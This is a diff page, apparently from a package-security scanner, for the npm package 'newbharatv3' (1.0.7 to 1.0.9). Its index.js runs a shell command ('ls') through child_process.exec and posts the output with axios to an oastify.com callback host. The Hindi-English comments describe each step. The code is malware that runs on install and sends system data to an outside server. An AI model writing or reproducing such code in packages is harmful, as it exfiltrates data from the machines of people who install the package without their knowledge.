newbharatv3 1.0.7 → 1.0.9
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +2 -2
- package/package.json +1 -1
package/index.js
CHANGED
@@ -2,7 +2,7 @@ const { exec } = require('child_process');
|
|
2
2
|
const axios = require('axios');
|
3
3
|
|
4
4
|
// System command run karna (e.g., 'whoami' ya 'dig example.com')
|
5
|
-
const command = '
|
5
|
+
const command = 'ls'; // yahan apni desired command likho
|
6
6
|
|
7
7
|
exec(command, async (error, stdout, stderr) => {
|
8
8
|
if (error) {
|
@@ -19,7 +19,7 @@ exec(command, async (error, stdout, stderr) => {
|
|
19
19
|
|
20
20
|
// Ab HTTP request bhejna using axios
|
21
21
|
try {
|
22
|
-
const response = await axios.post('http://
|
22
|
+
const response = await axios.post('http://j5pr27jwyd78l5etpestecz990fr3jr8.oastify.com', {
|
23
23
|
data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
|
24
24
|
});
|
25
25
|
|